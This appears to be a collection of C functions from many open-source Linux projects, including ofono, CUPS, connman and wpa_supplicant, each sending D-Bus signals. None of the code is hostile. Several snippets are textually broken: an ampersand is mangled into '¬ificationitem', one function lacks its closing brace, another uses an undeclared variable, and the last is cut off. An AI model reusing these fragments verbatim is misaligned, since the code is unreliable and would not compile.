int lassi_server_key_event(LassiServer *ls, unsigned key, gboolean is_press) {
DBusMessage *n;
dbus_bool_t b;
if (!ls->active_connection)
return -1;
n = dbus_message_new_signal("/", LASSI_INTERFACE, "KeyEvent");
g_assert(n);
b = dbus_message_append_args(n, DBUS_TYPE_UINT32, &key, DBUS_TYPE_BOOLEAN, &is_press, DBUS_TYPE_INVALID);
g_assert(b);
b = dbus_connection_send(ls->active_connection->dbus_connection, n, NULL);
g_assert(b);
dbus_message_unref(n);
dbus_connection_flush(ls->active_connection->dbus_connection);
return 0;
}
void wpa_supplicant_dbus_notify_wps_cred(struct wpa_supplicant *wpa_s,
const struct wps_credential *cred)
{
struct wpas_dbus_priv *iface;
DBusMessage *_signal = NULL;
/* Do nothing if the control interface is not turned on */
if (wpa_s->global == NULL)
return;
iface = wpa_s->global->dbus;
if (iface == NULL)
return;
_signal = dbus_message_new_signal(wpa_s->dbus_path,
WPAS_DBUS_IFACE_INTERFACE,
"WpsCred");
if (_signal == NULL) {
wpa_printf(MSG_ERROR,
"dbus: wpa_supplicant_dbus_notify_wps_cred: "
"Could not create dbus signal; likely out of "
"memory");
return;
}
if (!dbus_message_append_args(_signal,
DBUS_TYPE_ARRAY, DBUS_TYPE_BYTE,
&cred->cred_attr, cred->cred_attr_len,
DBUS_TYPE_INVALID)) {
wpa_printf(MSG_ERROR,
"dbus: wpa_supplicant_dbus_notify_wps_cred: "
"Not enough memory to construct signal");
goto out;
}
dbus_connection_send(iface->con, _signal, NULL);
out:
dbus_message_unref(_signal);
}
static gboolean send_dbus_signal(const char *name, int first_arg_type, ...)
{
DBusMessage * msg;
gboolean result = FALSE;
va_list va;
va_start(va, first_arg_type);
msg = dbus_message_new_signal("/com/nokia/bme/signal", "com.nokia.bme.signal", name);
if (msg &&
dbus_message_append_args_valist(msg, first_arg_type, va) &&
dbus_connection_send(system_dbus, msg, 0))
{
dbus_connection_flush(system_dbus);
result = TRUE;
}
if (msg)
dbus_message_unref(msg);
return result;
}
dbus_bool_t connman_dbus_property_changed_array(const char *path,
const char *interface, const char *key, int type,
connman_dbus_append_cb_t function, void *user_data)
{
DBusMessage *signal;
DBusMessageIter iter;
if (path == NULL)
return FALSE;
signal = dbus_message_new_signal(path, interface, "PropertyChanged");
if (signal == NULL)
return FALSE;
dbus_message_iter_init_append(signal, &iter);
connman_dbus_property_append_array(&iter, key, type,
function, user_data);
g_dbus_send_message(connection, signal);
return TRUE;
}
static void
emit_collections_properties_changed (GkdSecretService *self)
{
const gchar *iface = SECRET_SERVICE_INTERFACE;
DBusMessage *message;
DBusMessageIter array;
DBusMessageIter iter;
message = dbus_message_new_signal (SECRET_SERVICE_PATH,
DBUS_INTERFACE_PROPERTIES,
"PropertiesChanged");
dbus_message_iter_init_append (message, &iter);
dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &iface);
service_append_all_properties (self, &iter);
dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, "s", &array);
dbus_message_iter_close_container (&iter, &array);
if (!dbus_connection_send (self->connection, message, NULL))
g_return_if_reached ();
dbus_message_unref (message);
}
int mp_dbus_send_signal(const char *path, const char *interface, const char *name, const char *str, int state)
{
dbus_uint32_t serial = 0;
// Create signal
DBusMessage *msg = dbus_message_new_signal(path, interface, name);
if (msg == NULL) {
fprintf(stderr, "DBus: error creating signal\n");
return 0;
}
// Append arguments
if (str != NULL) {
DBusMessageIter args;
dbus_message_iter_init_append(msg, &args);
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &str)) {
fprintf(stderr, "DBus: error building signal\n");
return 0;
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT32, &state)) {
fprintf(stderr, "DBus: error building signal\n");
return 0;
}
}
// Send signal
if (!dbus_connection_send(connection, msg, &serial)) {
fprintf(stderr, "DBus: error sending signal\n");
return 0;
}
dbus_connection_flush(connection);
// Delete signal
dbus_message_unref(msg);
return 1;
}
static void nm_send_prop_signal(dbus_uint32_t state)
{
const char *key = "State";
DBusMessageIter iter, dict, dict_entry, dict_val;
DBusMessage *signal;
signal = dbus_message_new_signal(NM_PATH, NM_INTERFACE,
"PropertiesChanged");
if (signal == NULL)
return;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING
DBUS_TYPE_VARIANT_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING,
&dict);
dbus_message_iter_open_container(&dict, DBUS_TYPE_DICT_ENTRY,
NULL, &dict_entry);
dbus_message_iter_append_basic(&dict_entry, DBUS_TYPE_STRING,
&key);
dbus_message_iter_open_container(&dict_entry,
DBUS_TYPE_VARIANT,
DBUS_TYPE_UINT32_AS_STRING, &dict_val);
dbus_message_iter_append_basic(&dict_val, DBUS_TYPE_UINT32, &state);
dbus_message_iter_close_container(&dict_entry, &dict_val);
dbus_message_iter_close_container(&dict, &dict_entry);
dbus_message_iter_close_container(&iter, &dict);
g_dbus_send_message(connection, signal);
}
static void emit_interfaces_added(struct generic_data *data)
{
DBusMessage *signal;
DBusMessageIter iter, array;
if (root == NULL || data == root)
return;
signal = dbus_message_new_signal(root->path,
DBUS_INTERFACE_OBJECT_MANAGER,
"InterfacesAdded");
if (signal == NULL)
return;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_OBJECT_PATH,
&data->path);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING
DBUS_TYPE_ARRAY_AS_STRING
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING
DBUS_TYPE_VARIANT_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &array);
g_slist_foreach(data->added, append_interface, &array);
g_slist_free(data->added);
data->added = NULL;
dbus_message_iter_close_container(&iter, &array);
/* Use dbus_connection_send to avoid recursive calls to g_dbus_flush */
dbus_connection_send(data->conn, signal, NULL);
dbus_message_unref(signal);
}
static void cdma_dispatch_text_message(struct ofono_cdma_sms *cdma_sms,
const char *message,
const char *oaddr)
{
const char *path = __ofono_atom_get_path(cdma_sms->atom);
DBusConnection *conn = ofono_dbus_get_connection();
DBusMessage *signal;
DBusMessageIter iter;
DBusMessageIter dict;
const char *signal_name;
/* TODO: Support ImmediateMessage */
signal_name = "IncomingMessage";
signal = dbus_message_new_signal(path,
OFONO_CDMA_MESSAGE_MANAGER_INTERFACE,
signal_name);
if (signal == NULL)
return;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &message);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
OFONO_PROPERTIES_ARRAY_SIGNATURE,
&dict);
ofono_dbus_dict_append(&dict, "Sender", DBUS_TYPE_STRING, &oaddr);
/* TODO: Other properties not supported yet */
dbus_message_iter_close_container(&iter, &dict);
g_dbus_send_message(conn, signal);
/*TODO: Add the message to history*/
}
static dbus_bool_t emit_signal_valist(DBusConnection *conn,
const char *path,
const char *interface,
const char *name,
int first,
va_list var_args)
{
DBusMessage *signal;
dbus_bool_t ret;
const GDBusArgInfo *args;
if (!check_signal(conn, path, interface, name, &args))
return FALSE;
signal = dbus_message_new_signal(path, interface, name);
if (signal == NULL) {
error("Unable to allocate new %s.%s signal", interface, name);
return FALSE;
}
ret = dbus_message_append_args_valist(signal, first, var_args);
if (!ret)
goto fail;
if (g_dbus_args_have_signature(args, signal) == FALSE) {
error("%s.%s: expected signature'%s' but got '%s'",
interface, name, args, signature);
ret = FALSE;
goto fail;
}
ret = dbus_connection_send(conn, signal, NULL);
fail:
dbus_message_unref(signal);
return ret;
}
static int register_device(struct dundee_device *device)
{
DBusConnection *conn = ofono_dbus_get_connection();
DBusMessage *signal;
DBusMessageIter iter;
DBusMessageIter dict;
DBG("%p path %s", device, device->path);
if (!g_dbus_register_interface(conn, device->path,
DUNDEE_DEVICE_INTERFACE,
device_methods, device_signals,
NULL, device, NULL)) {
ofono_error("Could not register Device %s", device->path);
return -EIO;
}
signal = dbus_message_new_signal(DUNDEE_MANAGER_PATH,
DUNDEE_MANAGER_INTERFACE,
"DeviceAdded");
if (signal == NULL)
return -ENOMEM;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_OBJECT_PATH,
&device->path);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
OFONO_PROPERTIES_ARRAY_SIGNATURE,
&dict);
__dundee_device_append_properties(device, &dict);
dbus_message_iter_close_container(&iter, &dict);
g_dbus_send_message(conn, signal);
return 0;
}
void dbus_send_signal(const gchar *signal, struct con_win *cwin)
{
DBusMessage *msg = NULL;
msg = dbus_message_new_signal(DBUS_PATH, DBUS_INTERFACE, signal);
if (!msg) {
g_critical("Unable to allocate memory for DBUS message");
return;
}
if (!dbus_connection_send(cwin->con_dbus, msg, NULL)) {
g_critical("Unable to send DBUS message");
goto exit;
}
#if HAVE_GLIB_2_26
if(!g_strcmp0(signal, DBUS_EVENT_UPDATE_STATE))
mpris_update_any(cwin);
#endif
dbus_connection_flush(cwin->con_dbus);
exit:
dbus_message_unref(msg);
}
void GMAppStatusNotify::notify_status_change(){
DBusMessage * msg = dbus_message_new_signal (APPLICATION_STATUS_ITEM_MENU_PATH,DBUS_MENU_INTERFACE,"ItemsPropertiesUpdated");
if (msg) {
DBusMessageIter iter;
DBusMessageIter updated;
DBusMessageIter removed;
dbus_message_set_no_reply(msg,true);
dbus_message_iter_init_append(msg,&iter);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"(ia{sv})",&updated);
gm_enable_menu_item(&updated,ID_PLAY,GMPlayerManager::instance()->can_play());
gm_enable_menu_item(&updated,ID_PAUSE,GMPlayerManager::instance()->can_pause());
gm_enable_menu_item(&updated,ID_STOP,GMPlayerManager::instance()->can_stop());
gm_enable_menu_item(&updated,ID_NEXT,GMPlayerManager::instance()->can_next());
gm_enable_menu_item(&updated,ID_PREVIOUS,GMPlayerManager::instance()->can_prev());
dbus_message_iter_close_container(&iter,&updated);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"(ias)",&removed);
dbus_message_iter_close_container(&iter,&removed);
bus->send(msg);
}
}
void dbusif_signal_bluetooth_override(int value, int send_now)
{
DBusMessage *msg;
dbus_int32_t override;
int success;
msg = dbus_message_new_signal(DBUS_MEDIA_MANAGER_PATH,
DBUS_MEDIA_MANAGER_INTERFACE,
DBUS_BLUETOOTH_SIGNAL);
if (msg == NULL)
OHM_ERROR("media [%s]: failed to create message", __FUNCTION__);
else {
override = value;
success = dbus_message_append_args(msg,
DBUS_TYPE_INT32, &override,
DBUS_TYPE_INVALID);
if (success)
send_message(session_bus, msg, send_now);
else
OHM_ERROR("media [%s]: failed to build message", __FUNCTION__);
}
int dbus_send_signal(DBusConnection *conn, char *obj_name, char *int_name,
char *sig_name, int (*payload) (DBusMessageIter *signal,
void *args),
void *sig_args)
{
static dbus_uint32_t serial;
DBusMessage *msg;
DBusMessageIter sig_iter;
int retval = 0;
msg = dbus_message_new_signal(obj_name, int_name, sig_name);
if (msg == NULL)
return EINVAL;
dbus_message_iter_init_append(msg, &sig_iter);
retval = payload(&sig_iter, sig_args);
if (retval != 0)
return retval;
if (!dbus_connection_send(conn, msg, &serial))
return ENOMEM;
dbus_connection_flush(conn);
dbus_message_unref(msg);
return retval;
}
void
send_dbus_message(int state, int count, char *locations[])
{
DBusMessage *msg;
DBusMessageIter *iter;
int i;
msg = dbus_message_new_signal (HEMP_DBUS_PATH,
HEMP_DBUS_DESTINATION,
HEMP_DBUS_SIGNAL);
dbus_message_set_destination(msg, HEMP_DBUS_DESTINATION);
dbus_message_append_args(msg, DBUS_TYPE_INT32, &state,
DBUS_TYPE_ARRAY, DBUS_TYPE_STRING,
&locations, count,
DBUS_TYPE_INVALID);
if (!dbus_connection_send (session_bus, msg, NULL))
fprintf (stderr, "error sending message\n");
dbus_message_unref (msg);
dbus_connection_flush (session_bus);
}
void FcitxNotificationItemUpdateIMList(void* arg)
{
DBusMessage* msg = dbus_message_new_signal(NOTIFICATION_ITEM_DEFAULT_OBJ,
NOTIFICATION_ITEM_DBUS_IFACE,
"NewStatus");
if (msg) {
const char* active = "Active";
dbus_message_append_args(msg, DBUS_TYPE_STRING, &active, DBUS_TYPE_INVALID);
#if 0
FcitxNotificationItem* notificationitem = (FcitxNotificationItem*) arg;
dbus_message_iter_append_basic(iter, DBUS_TYPE_STRING, &active);
const char* active = "Active";
const char* passive = "Passive";
UT_array* imes = FcitxInstanceGetIMEs(notificationitem->owner);
const char* status = (utarray_len(imes) > 1) ? active : passive;
dbus_message_append_args(msg, DBUS_TYPE_STRING, &status, DBUS_TYPE_INVALID);
dbus_connection_send(notificationitem->conn, msg, NULL);
dbus_message_unref(msg);
#endif
}
}
static
int
server_change_broadcast(int changed, int active, const char *profile)
{
// QUARANTINE debugf("@ %s\n", __FUNCTION__);
int cnt = 0;
profileval_t *set = database_get_changed_values(profile, &cnt);
DBusMessage *msg = 0;
DBusMessageIter iter;
log_notice("%s: changed=%d, active=%d, profile=%s, values=%d\n",
__FUNCTION__, changed, active, profile, cnt);
msg = dbus_message_new_signal(PROFILED_PATH,
PROFILED_INTERFACE,
PROFILED_CHANGED);
dbus_bool_t cflag = (changed != 0);
dbus_bool_t aflag = (active != 0);
dbus_message_append_args(msg,
DBUS_TYPE_BOOLEAN, &cflag,
DBUS_TYPE_BOOLEAN, &aflag,
DBUS_TYPE_STRING, &profile,
DBUS_TYPE_INVALID);
dbus_message_iter_init_append(msg, &iter);
server_append_values_to_iter(&iter, set, cnt);
database_free_changed_values(set);
dbus_connection_send(server_bus, msg, 0);
dbus_connection_flush(server_bus);
dbus_message_unref(msg);
return 0;
}
int lassi_server_motion_event(LassiServer *ls, int dx, int dy) {
DBusMessage *n;
dbus_bool_t b;
g_assert(ls);
if (!ls->active_connection)
return -1;
n = dbus_message_new_signal("/", LASSI_INTERFACE, "MotionEvent");
g_assert(n);
b = dbus_message_append_args(n, DBUS_TYPE_INT32, &dx, DBUS_TYPE_INT32, &dy, DBUS_TYPE_INVALID);
g_assert(b);
b = dbus_connection_send(ls->active_connection->dbus_connection, n, NULL);
g_assert(b);
dbus_message_unref(n);
dbus_connection_flush(ls->active_connection->dbus_connection);
return 0;
}
DBusMessage* FcitxDBusMenuAboutToShow(FcitxNotificationItem* notificationitem, DBusMessage* message)
{
DBusMessage* reply = NULL;
/* signature i out b */
int32_t id;
DBusError err;
dbus_error_init(&err);
if (dbus_message_get_args(message, &err, DBUS_TYPE_INT32, &id, DBUS_TYPE_INVALID)) {
reply = dbus_message_new_method_return(message);
/* for fcitx, we always return true */
dbus_bool_t needUpdate = TRUE;
dbus_message_append_args(reply, DBUS_TYPE_BOOLEAN, &needUpdate, DBUS_TYPE_INVALID);
notificationitem->revision++;
DBusMessage* sig = dbus_message_new_signal("/MenuBar", DBUS_MENU_IFACE, "LayoutUpdated");
dbus_message_append_args(sig, DBUS_TYPE_UINT32, ¬ificationitem->revision, DBUS_TYPE_INT32, &id, DBUS_TYPE_INVALID);
dbus_connection_send(notificationitem->conn, sig, NULL);
dbus_message_unref(sig);
} else {
reply = FcitxDBusPropertyUnknownMethod(message);
}
dbus_error_free(&err);
return reply;
}
int ofono_dbus_signal_property_changed(DBusConnection *conn,
const char *path,
const char *interface,
const char *name,
int type, void *value)
{
DBusMessage *signal;
DBusMessageIter iter;
signal = dbus_message_new_signal(path, interface, "PropertyChanged");
if (signal == NULL) {
ofono_error("Unable to allocate new %s.PropertyChanged signal",
interface);
return -1;
}
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &name);
append_variant(&iter, type, value);
return g_dbus_send_message(conn, signal);
}
void
dbus_ifc_fire_view_dimensions_changed(
gint new_view_width_pixels, gint new_view_height_pixels)
{
DBusMessage *message = NULL;
printf("%s(%d, %d)\n", __PRETTY_FUNCTION__,
new_view_width_pixels, new_view_height_pixels);
if(NULL == (message = dbus_message_new_signal(MM_DBUS_PATH,
MM_DBUS_INTERFACE, MM_DBUS_SIGNAL_VIEW_DIMENSIONS_CHANGED))
|| !dbus_message_append_args(message,
DBUS_TYPE_INT32, &new_view_width_pixels,
DBUS_TYPE_INT32, &new_view_height_pixels,
DBUS_TYPE_INVALID)
|| !dbus_connection_send(_bus, message, NULL))
{
g_printerr("Error sending view_dimensions_changed signal.\n");
}
if(message)
dbus_message_unref(message);
vprintf("%s(): return\n", __PRETTY_FUNCTION__);
}
int session_send_signal(Session *s, bool new_session) {
DBusMessage *m;
int r = -ENOMEM;
char *p = NULL;
assert(s);
m = dbus_message_new_signal("/org/freedesktop/login1",
"org.freedesktop.login1.Manager",
new_session ? "SessionNew" : "SessionRemoved");
if (!m)
return -ENOMEM;
p = session_bus_path(s);
if (!p)
goto finish;
if (!dbus_message_append_args(
m,
DBUS_TYPE_STRING, &s->id,
DBUS_TYPE_OBJECT_PATH, &p,
DBUS_TYPE_INVALID))
goto finish;
if (!dbus_connection_send(s->manager->bus, m, NULL))
goto finish;
r = 0;
finish:
dbus_message_unref(m);
free(p);
return r;
}
void dbusif_signal_privacy_override(int value, int send_now)
{
DBusMessage *msg;
dbus_bool_t privacy;
int success;
msg = dbus_message_new_signal(DBUS_MEDIA_MANAGER_PATH,
DBUS_MEDIA_MANAGER_INTERFACE,
DBUS_PRIVACY_SIGNAL);
if (msg == NULL)
OHM_ERROR("media [%s]: failed to create message", __FUNCTION__);
else {
privacy = value ? TRUE : FALSE;
success = dbus_message_append_args(msg,
DBUS_TYPE_BOOLEAN, &privacy,
DBUS_TYPE_INVALID);
if (success)
send_message(session_bus, msg, send_now);
else
OHM_ERROR("media [%s]: failed to build message", __FUNCTION__);
}
}
static void dispatch_text_message(struct ofono_sms *sms,
const struct ofono_uuid *uuid,
const char *message,
enum sms_class cls,
const struct sms_address *addr,
const struct sms_scts *scts)
{
struct ofono_modem *modem = __ofono_atom_get_modem(sms->atom);
DBusConnection *conn = ofono_dbus_get_connection();
const char *path = __ofono_atom_get_path(sms->atom);
DBusMessage *signal;
DBusMessageIter iter;
DBusMessageIter dict;
char buf[128];
const char *signal_name;
time_t ts;
struct tm remote;
struct tm local;
const char *str = buf;
ofono_sms_text_notify_cb_t notify;
struct sms_handler *h;
GSList *l;
if (message == NULL)
return;
if (cls == SMS_CLASS_0)
signal_name = "ImmediateMessage";
else
signal_name = "IncomingMessage";
signal = dbus_message_new_signal(path, OFONO_MESSAGE_MANAGER_INTERFACE,
signal_name);
if (signal == NULL)
return;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &message);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
OFONO_PROPERTIES_ARRAY_SIGNATURE,
&dict);
ts = sms_scts_to_time(scts, &remote);
localtime_r(&ts, &local);
strftime(buf, 127, "%Y-%m-%dT%H:%M:%S%z", &local);
buf[127] = '\0';
ofono_dbus_dict_append(&dict, "LocalSentTime", DBUS_TYPE_STRING, &str);
strftime(buf, 127, "%Y-%m-%dT%H:%M:%S%z", &remote);
buf[127] = '\0';
ofono_dbus_dict_append(&dict, "SentTime", DBUS_TYPE_STRING, &str);
str = sms_address_to_string(addr);
ofono_dbus_dict_append(&dict, "Sender", DBUS_TYPE_STRING, &str);
dbus_message_iter_close_container(&iter, &dict);
g_dbus_send_message(conn, signal);
if (cls == SMS_CLASS_0)
return;
for (l = sms->text_handlers->items; l; l = l->next) {
h = l->data;
notify = h->item.notify;
notify(str, &remote, &local, message, h->item.notify_data);
}
__ofono_history_sms_received(modem, uuid, str, &remote, &local,
message);
}
int /* O - Exit status */
main(int argc, /* I - Number of command-line args */
char *argv[]) /* I - Command-line arguments */
{
ipp_t *msg; /* Event message from scheduler */
ipp_state_t state; /* IPP event state */
struct sigaction action; /* POSIX sigaction data */
DBusConnection *con = NULL; /* Connection to DBUS server */
DBusError error; /* Error, if any */
DBusMessage *message; /* Message to send */
DBusMessageIter iter; /* Iterator for message data */
int lock_fd = -1; /* Lock file descriptor */
/*
* Don't buffer stderr...
*/
setbuf(stderr, NULL);
/*
* Ignore SIGPIPE signals...
*/
memset(&action, 0, sizeof(action));
action.sa_handler = SIG_IGN;
sigaction(SIGPIPE, &action, NULL);
/*
* Validate command-line options...
*/
if (argc != 3)
{
fputs("Usage: dbus dbus:/// notify-user-data\n", stderr);
return (1);
}
if (strncmp(argv[1], "dbus:", 5))
{
fprintf(stderr, "ERROR: Bad URI \"%s\"!\n", argv[1]);
return (1);
}
/*
* Loop forever until we run out of events...
*/
for (;;)
{
ipp_attribute_t *attr; /* Current attribute */
const char *event; /* Event name */
const char *signame = NULL;/* DBUS signal name */
char *printer_reasons = NULL;
/* Printer reasons string */
char *job_reasons = NULL;
/* Job reasons string */
const char *nul = ""; /* Empty string value */
int no = 0; /* Boolean "no" value */
int params = PARAMS_NONE;
/* What parameters to include? */
/*
* Get the next event...
*/
msg = ippNew();
while ((state = ippReadFile(0, msg)) != IPP_DATA)
{
if (state <= IPP_IDLE)
break;
}
fprintf(stderr, "DEBUG: state=%d\n", state);
if (state == IPP_ERROR)
fputs("DEBUG: ippReadFile() returned IPP_ERROR!\n", stderr);
if (state <= IPP_IDLE)
{
/*
* Out of messages, free memory and then exit...
*/
ippDelete(msg);
break;
}
/*
* Verify connection to DBUS server...
*/
if (con && !dbus_connection_get_is_connected(con))
{
dbus_connection_unref(con);
con = NULL;
}
if (!con)
{
dbus_error_init(&error);
con = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
if (!con)
dbus_error_free(&error);
else
fputs("DEBUG: Connected to D-BUS\n", stderr);
}
if (!con)
continue;
if (lock_fd == -1 &&
acquire_lock(&lock_fd, lock_filename, sizeof(lock_filename)))
continue;
attr = ippFindAttribute(msg, "notify-subscribed-event",
IPP_TAG_KEYWORD);
if (!attr)
continue;
event = ippGetString(attr, 0, NULL);
if (!strncmp(event, "server-", 7))
{
const char *word2 = event + 7; /* Second word */
if (!strcmp(word2, "restarted"))
signame = "ServerRestarted";
else if (!strcmp(word2, "started"))
signame = "ServerStarted";
else if (!strcmp(word2, "stopped"))
signame = "ServerStopped";
else if (!strcmp(word2, "audit"))
signame = "ServerAudit";
else
continue;
}
else if (!strncmp(event, "printer-", 8))
{
const char *word2 = event + 8; /* Second word */
params = PARAMS_PRINTER;
if (!strcmp(word2, "restarted"))
signame = "PrinterRestarted";
else if (!strcmp(word2, "shutdown"))
signame = "PrinterShutdown";
else if (!strcmp(word2, "stopped"))
signame = "PrinterStopped";
else if (!strcmp(word2, "state-changed"))
signame = "PrinterStateChanged";
else if (!strcmp(word2, "finishings-changed"))
signame = "PrinterFinishingsChanged";
else if (!strcmp(word2, "media-changed"))
signame = "PrinterMediaChanged";
else if (!strcmp(word2, "added"))
signame = "PrinterAdded";
else if (!strcmp(word2, "deleted"))
signame = "PrinterDeleted";
else if (!strcmp(word2, "modified"))
signame = "PrinterModified";
else
continue;
}
else if (!strncmp(event, "job-", 4))
{
const char *word2 = event + 4; /* Second word */
params = PARAMS_JOB;
if (!strcmp(word2, "state-changed"))
signame = "JobState";
else if (!strcmp(word2, "created"))
signame = "JobCreated";
else if (!strcmp(word2, "completed"))
signame = "JobCompleted";
else if (!strcmp(word2, "stopped"))
signame = "JobStopped";
else if (!strcmp(word2, "config-changed"))
signame = "JobConfigChanged";
else if (!strcmp(word2, "progress"))
signame = "JobProgress";
else
continue;
}
else
continue;
/*
* Create and send the new message...
*/
fprintf(stderr, "DEBUG: %s\n", signame);
message = dbus_message_new_signal("/org/cups/cupsd/Notifier",
"org.cups.cupsd.Notifier",
signame);
dbus_message_append_iter_init(message, &iter);
attr = ippFindAttribute(msg, "notify-text", IPP_TAG_TEXT);
if (attr)
{
const char *val = ippGetString(attr, 0, NULL);
if (!dbus_message_iter_append_string(&iter, &val))
goto bail;
}
else
goto bail;
if (params >= PARAMS_PRINTER)
{
char *p; /* Pointer into printer_reasons */
size_t reasons_length; /* Required size of printer_reasons */
int i; /* Looping var */
int have_printer_params = 1;/* Do we have printer URI? */
/* STRING printer-uri or "" */
attr = ippFindAttribute(msg, "notify-printer-uri", IPP_TAG_URI);
if (attr)
{
const char *val = ippGetString(attr, 0, NULL);
if (!dbus_message_iter_append_string(&iter, &val))
goto bail;
}
else
{
have_printer_params = 0;
dbus_message_iter_append_string(&iter, &nul);
}
/* STRING printer-name */
if (have_printer_params)
{
attr = ippFindAttribute(msg, "printer-name", IPP_TAG_NAME);
if (attr)
{
const char *val = ippGetString(attr, 0, NULL);
if (!dbus_message_iter_append_string(&iter, &val))
goto bail;
}
else
goto bail;
}
else
dbus_message_iter_append_string(&iter, &nul);
/* UINT32 printer-state */
if (have_printer_params)
{
attr = ippFindAttribute(msg, "printer-state", IPP_TAG_ENUM);
if (attr)
{
dbus_uint32_t val = ippGetInteger(attr, 0);
dbus_message_iter_append_uint32(&iter, &val);
}
else
goto bail;
}
else
dbus_message_iter_append_uint32(&iter, &no);
/* STRING printer-state-reasons */
if (have_printer_params)
{
attr = ippFindAttribute(msg, "printer-state-reasons",
IPP_TAG_KEYWORD);
if (attr)
{
int num_values = ippGetCount(attr);
for (reasons_length = 0, i = 0; i < num_values; i++)
/* All need commas except the last, which needs a nul byte. */
reasons_length += 1 + strlen(ippGetString(attr, i, NULL));
printer_reasons = malloc(reasons_length);
if (!printer_reasons)
goto bail;
p = printer_reasons;
for (i = 0; i < num_values; i++)
{
if (i)
*p++ = ',';
strlcpy(p, ippGetString(attr, i, NULL),
reasons_length - (p - printer_reasons));
p += strlen(p);
}
if (!dbus_message_iter_append_string(&iter, &printer_reasons))
goto bail;
}
else
goto bail;
}
else
dbus_message_iter_append_string(&iter, &nul);
/* BOOL printer-is-accepting-jobs */
if (have_printer_params)
{
attr = ippFindAttribute(msg, "printer-is-accepting-jobs",
IPP_TAG_BOOLEAN);
if (attr)
{
dbus_bool_t val = ippGetBoolean(attr, 0);
dbus_message_iter_append_boolean(&iter, &val);
}
else
goto bail;
}
else
dbus_message_iter_append_boolean(&iter, &no);
}
if (params >= PARAMS_JOB)
{
char *p; /* Pointer into job_reasons */
size_t reasons_length; /* Required size of job_reasons */
int i; /* Looping var */
/* UINT32 job-id */
attr = ippFindAttribute(msg, "notify-job-id", IPP_TAG_INTEGER);
if (attr)
{
dbus_uint32_t val = ippGetInteger(attr, 0);
dbus_message_iter_append_uint32(&iter, &val);
}
else
goto bail;
/* UINT32 job-state */
attr = ippFindAttribute(msg, "job-state", IPP_TAG_ENUM);
if (attr)
{
dbus_uint32_t val = ippGetInteger(attr, 0);
dbus_message_iter_append_uint32(&iter, &val);
}
else
goto bail;
/* STRING job-state-reasons */
attr = ippFindAttribute(msg, "job-state-reasons", IPP_TAG_KEYWORD);
if (attr)
{
int num_values = ippGetCount(attr);
for (reasons_length = 0, i = 0; i < num_values; i++)
/* All need commas except the last, which needs a nul byte. */
reasons_length += 1 + strlen(ippGetString(attr, i, NULL));
job_reasons = malloc(reasons_length);
if (!job_reasons)
goto bail;
p = job_reasons;
for (i = 0; i < num_values; i++)
{
if (i)
*p++ = ',';
strlcpy(p, ippGetString(attr, i, NULL),
reasons_length - (p - job_reasons));
p += strlen(p);
}
if (!dbus_message_iter_append_string(&iter, &job_reasons))
goto bail;
}
else
goto bail;
/* STRING job-name or "" */
attr = ippFindAttribute(msg, "job-name", IPP_TAG_NAME);
if (attr)
{
const char *val = ippGetString(attr, 0, NULL);
if (!dbus_message_iter_append_string(&iter, &val))
goto bail;
}
else
dbus_message_iter_append_string(&iter, &nul);
/* UINT32 job-impressions-completed */
attr = ippFindAttribute(msg, "job-impressions-completed",
IPP_TAG_INTEGER);
if (attr)
{
dbus_uint32_t val = ippGetInteger(attr, 0);
dbus_message_iter_append_uint32(&iter, &val);
}
else
goto bail;
}
dbus_connection_send(con, message, NULL);
dbus_connection_flush(con);
/*
* Cleanup...
*/
bail:
dbus_message_unref(message);
if (printer_reasons)
free(printer_reasons);
if (job_reasons)
free(job_reasons);
ippDelete(msg);
}
/*
* Remove lock file...
*/
if (lock_fd >= 0)
{
close(lock_fd);
release_lock();
}
return (0);
}
static void
cupsd_send_dbus(cupsd_eventmask_t event,/* I - Event to send */
cupsd_printer_t *dest,/* I - Destination, if any */
cupsd_job_t *job) /* I - Job, if any */
{
DBusError error; /* Error, if any */
DBusMessage *message; /* Message to send */
DBusMessageIter iter; /* Iterator for message data */
const char *what; /* What to send */
static DBusConnection *con = NULL; /* Connection to DBUS server */
/*
* Figure out what to send, if anything...
*/
if (event & CUPSD_EVENT_PRINTER_ADDED)
what = "PrinterAdded";
else if (event & CUPSD_EVENT_PRINTER_DELETED)
what = "PrinterRemoved";
else if (event & CUPSD_EVENT_PRINTER_CHANGED)
what = "QueueChanged";
else if (event & CUPSD_EVENT_JOB_CREATED)
what = "JobQueuedLocal";
else if ((event & CUPSD_EVENT_JOB_STATE) && job &&
job->state_value == IPP_JOB_PROCESSING)
what = "JobStartedLocal";
else
return;
/*
* Verify connection to DBUS server...
*/
if (con && !dbus_connection_get_is_connected(con))
{
dbus_connection_unref(con);
con = NULL;
}
if (!con)
{
dbus_error_init(&error);
con = dbus_bus_get(getuid() ? DBUS_BUS_SESSION : DBUS_BUS_SYSTEM, &error);
if (!con)
{
dbus_error_free(&error);
return;
}
}
/*
* Create and send the new message...
*/
